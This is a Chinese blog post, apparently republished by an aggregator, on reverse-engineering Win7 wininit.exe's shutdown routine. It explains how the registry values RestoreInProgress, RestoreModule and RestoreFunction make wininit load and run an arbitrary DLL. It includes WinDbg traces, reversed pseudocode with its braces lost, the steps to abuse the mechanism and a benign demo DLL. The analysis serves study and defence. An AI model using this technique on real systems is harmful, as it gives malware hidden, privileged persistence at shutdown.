Win7 Wininit.exe任意加载/执行(漏洞)

Posted Yuri800

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Win7 Wininit.exe任意加载/执行(漏洞)相关的知识,希望对你有一定的参考价值。

1.背景:

a.Windows关机时,将调用NtShutdownSystem Native API来执行关机动作。

b.在WinXp时代,用户执行"关机"后,将由winlogon.exe调用NtShutdownSystem API;但是到了Win7时代,winlogon.exe不再司此职,而是交由Wininit.exe调用NtShutdownSystem API。 

c.进入win10后,虽然Wininit.exe中仍保留WinInitShutdown及PerformSystemRestore函数,但关机时不会由WinInitShutdown调用NtShutdownSystem Native API。因此该任意加载/执行漏洞不适用于win10。

2.正文:

在Win7上,给nt!NtShutdownSystem下断点后,当用户点击"开始"菜单--"关机"后会得到下列函数调用栈:

#搜索NtShutdownSystem Native API并下断点
kd> x nt!NtShutdownSystem
8318c3e6 nt!NtShutdownSystem = <no type information>
kd> bp nt!NtShutdownSystem


#关机后,windbg会中断在WinInitShutdown函数
kd> g
Breakpoint 0 hit
nt!NtShutdownSystem:
8318c3e6 8bff            mov     edi,edi
kd> kb
ChildEBP RetAddr  Args to Child              
95472c28 82ba3173 00000002 0019f8e8 76fea364 nt!NtShutdownSystem
95472c28 76fea364 00000002 0019f8e8 76fea364 nt!KiFastCallEntry+0x163
0019f8c4 76fc1814 00326205 00000002 003220c8 ntdll!KiFastSystemCallRet
0019f9c4 77557646 7ffd7000 0019fa10 76ff0915 ntdll!NtShutdownSystem+0xc
0019f9d0 76ff0915 7ffd7000 88d9a0a3 00000000 kernel32!BaseThreadInitThunk+0xe
0019fa10 76ff0b71 0032f0cd 7ffd7000 00000000 ntdll!__RtlUserThreadStart+0x23
0019fa28 00000000 0032f0cd 7ffd7000 00000000 ntdll!_RtlUserThreadStart+0x1b

上述调用堆栈不是很详细,切换到wininit进程,查看更具体的调用堆栈:

#枚举所有进程
kd> !process 0 0 
**** NT ACTIVE PROCESS DUMP ****

PROCESS 87bf19f0  SessionId: 0  Cid: 0180    Peb: 7ffd7000  ParentCid: 0148
    DirBase: 3fe820a0  ObjectTable: 99218a60  HandleCount:  88.
    Image: wininit.exe

#根据wininit的EPROCESS值,切换到wininit进程
kd> .process /i /p 87bf19f0  
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
82b94a9c cc              int     3

#显示wininit进程更详细的信息 (包含线程及调用堆栈)
kd> !process 87bf19f0  7
PROCESS 87bf19f0  SessionId: 0  Cid: 0180    Peb: 7ffd7000  ParentCid: 0148
    DirBase: 3fe820a0  ObjectTable: 99218a60  HandleCount:  88.
    Image: wininit.exe

        THREAD 8e49c290  Cid 0180.0184  Teb: 7ffdf000 Win32Thread: ffb53978 WAIT: (Executive) KernelMode Non-Alertable
            95472958  SynchronizationEvent
            95472930  Semaphore Limit 0x12

        Win32 Start Address wininit!WinMainCRTStartup (0x0032f0cd)
        Stack Init 95472ed0 Current 95472708 Base 95473000 Limit 95470000 Call 0
        Priority 15 BasePriority 15 UnusualBoost 0 ForegroundBoost 0 IoPriority 2 PagePriority 5
        ChildEBP RetAddr  Args to Child              
        95472720 82a6a110 8e49c290 000031d8 00000000 nt!KiSwapContext+0x26 (FPO: [Uses EBP] [0,0,4])
        95472758 82a6b715 95472930 8e49c290 8e49c38c nt!KiSwapThread+0x394
        95472780 82a5bda6 8e49c290 8e49c350 00000000 nt!KiCommitThreadWait+0x461
        954728f8 83203019 00000002 95472974 00000001 nt!KeWaitForMultipleObjects+0x6d2
        95472980 83202d32 00000011 9762e350 00000004 nt!PopSleepDeviceList+0xe9
        954729d8 83202af3 95472a70 00000001 00000006 nt!PoBroadcastSystemState+0x236
        95472a00 83203d98 95472ad4 95472b58 8320398e nt!PopSetDevicesSystemState+0x63
        95472ac0 82ba3173 00000006 00000004 c0000004 nt!NtSetSystemPowerState+0x40a
        95472ac0 82b92c1d 00000006 00000004 c0000004 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ 95472ad4)
        95472b44 83203a70 00000006 00000004 c0000004 nt!ZwSetSystemPowerState+0x11 (FPO: [3,0,0])
        95472c14 8318c418 00000006 00000004 c0000004 nt!NtSetSystemPowerState+0xe2
        95472c28 82ba3173 00000002 0019f8e8 76fea364 nt!NtShutdownSystem+0x32
        95472c28 76fea364 00000002 0019f8e8 76fea364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ 95472c34)
        0019f8c4 76fc1814 00326205 00000002 003220c8 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
        0019f8c8 00326205 00000002 003220c8 003215a0 ntdll!NtShutdownSystem+0xc (FPO: [1,0,0])
!!----> 0019f8e8 00327f4e 00000002 00336904 00531ceb wininit!WinInitShutdown+0x186 (FPO: [Non-Fpo])
        0019f934 0032ef64 00320000 00000000 00531ceb wininit!WinMain+0xcd3 (FPO: [Non-Fpo])
        0019f9c4 77557646 7ffd7000 0019fa10 76ff0915 wininit!_initterm_e+0x1a1 (FPO: [Non-Fpo])
        0019f9d0 76ff0915 7ffd7000 88d9a0a3 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
        0019fa10 76ff0b71 0032f0cd 7ffd7000 00000000 ntdll!__RtlUserThreadStart+0x23 (FPO: [Non-Fpo])
        0019fa28 00000000 0032f0cd 7ffd7000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

逆向WinInitShutdown实现,发现它会调用内部函数:PerformSystemRestore

 逆向该PerformSystemRestore函数,还原得到如下示意代码(完整代码见附件wininit.idb):

MACRO_ERROR __stdcall PerformSystemRestore(void (__stdcall *a1)(const unsigned __int16 *))


  Status = RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SYSTEM\\\\CurrentControlSet\\\\Control\\\\WinInit", 0, 3u, &phkResult);
  Status = RegQueryValueExW(phkResult, L"RestoreInProgress", 0, &Type, Data, &cbData);
  if ( Type != 4 )
  
    Status = ERROR_INVALID_DATA;
    goto LABEL_52;
  
  if ( *(_DWORD *)Data )
  
    cbData = 522;
    Status = RegQueryValueExW(phkResult, L"RestoreModule", 0, &Type, (LPBYTE)v11, &cbData);
    if ( Status || Type != 1 || cbData < 2 || *((_WORD *)&Status + (cbData >> 1) + 1) )
    
      if ( Status == ERROR_SEVERITY_SUCCESS )
        Status = 13;
    
    else
    
      cbData = 261;
      Status = RegQueryValueExA(phkResult, "RestoreFunction", 0, &Type, &v13, &cbData);
      if ( Status || Type != 1 || cbData < 1 || *(&v12 + cbData) )
      
        if ( Status == ERROR_SEVERITY_SUCCESS )
          Status = 13;
      
      else
      
        v2 = LoadLibraryW(v11);
        hLibModule = v2;
        if ( v2 )
        
          ProcAddr = GetProcAddress(v2, (LPCSTR)&v13);
          if ( ProcAddr )
            goto LABEL_56;
          Status = GetLastError();
          if ( Status == ERROR_SEVERITY_SUCCESS )
            RtlAssert("ERROR_SUCCESS != dwRet", "d:\\\\w7rtm\\\\ds\\\\security\\\\umstartup\\\\wininit\\\\srestore.cxx", 0xA4u, 0);
        

      
    
  

LABEL_57:
  if ( ProcAddr )
  
//调用RestoreFunction指向的函数
    ((void (__stdcall *)(_DWORD))ProcAddr)(a1);
  
  if ( phkResult )
    RegCloseKey(phkResult);
  if ( hLibModule )
    FreeLibrary(hLibModule);
  return Status;

这段函数流程为:

1.检查注册表HKLM\\SYSTEM\\CurrentControlSet\\Control\\WinInit下是否有DWORD键RestoreInProgress;

2.如果RestoreInProgress存在,且值为1。则继续搜索是否存在字符串键RestoreModule和RestoreFunction;

3.如果RestoreModule和RestoreFunction键值存在,则调用LoadLibrary和GetProcAddress获得RestoreFunction函数地址;

4.以上步骤执行正确,则执行RestoreFunction所指向的函数。

3.利用方式:

发现了PerformSystemRestore函数的执行流程,对应的利用方式可以说是手到擒来:

1.在注册表HKLM\\SYSTEM\\CurrentControlSet\\Control\\WinInit下手动创建RestoreInProgress/RestoreModule/RestoreFunction三个键,如下:

 2.将RestoreModule指向的Dll放到%SystemRoot%/System32路径下,以下是我做的测试函数及导出函数,导出函数函数名必须与RestoreFunction的键值一致。出于演示目的,往c盘根目录下创建一文件:

extern "C" SHUTDOWNRESTORE_API int ShutdownRestore(void);

SHUTDOWNRESTORE_API int ShutdownRestore(void)

	FILE* flagFile;
	char ctmBegin[32] = 0;
	time_t tmNow = time(NULL);
	tm *ptmNow = localtime(&tmNow);
	strftime(ctmBegin, 32, "%Y%m%d%H%M%S", ptmNow);
	flagFile = fopen("c:\\\\loaded.txt","a+");
	fwrite(ctmBegin,32, 1, flagFile);
	fclose(flagFile);
	return 0;

 

3.关机时,即可执行任意代码,并且被加载的Dll具有和wininit.exe相同的权限!

正文wininit.exe对应的pdb

以上是关于Win7 Wininit.exe任意加载/执行(漏洞)的主要内容,如果未能解决你的问题,请参考以下文章

Win7 Wininit.exe任意加载/执行(漏洞)

windows server2008系统下的 C:\Windows\system32\wininit.exe是木马么?是的话如何杀掉?

procexp

python windows路径原始字符串

进程资源管理器和任务管理器之间的区别[关闭]

请问怎么让win7 启动项里边的程序在开机后延时一会后启动?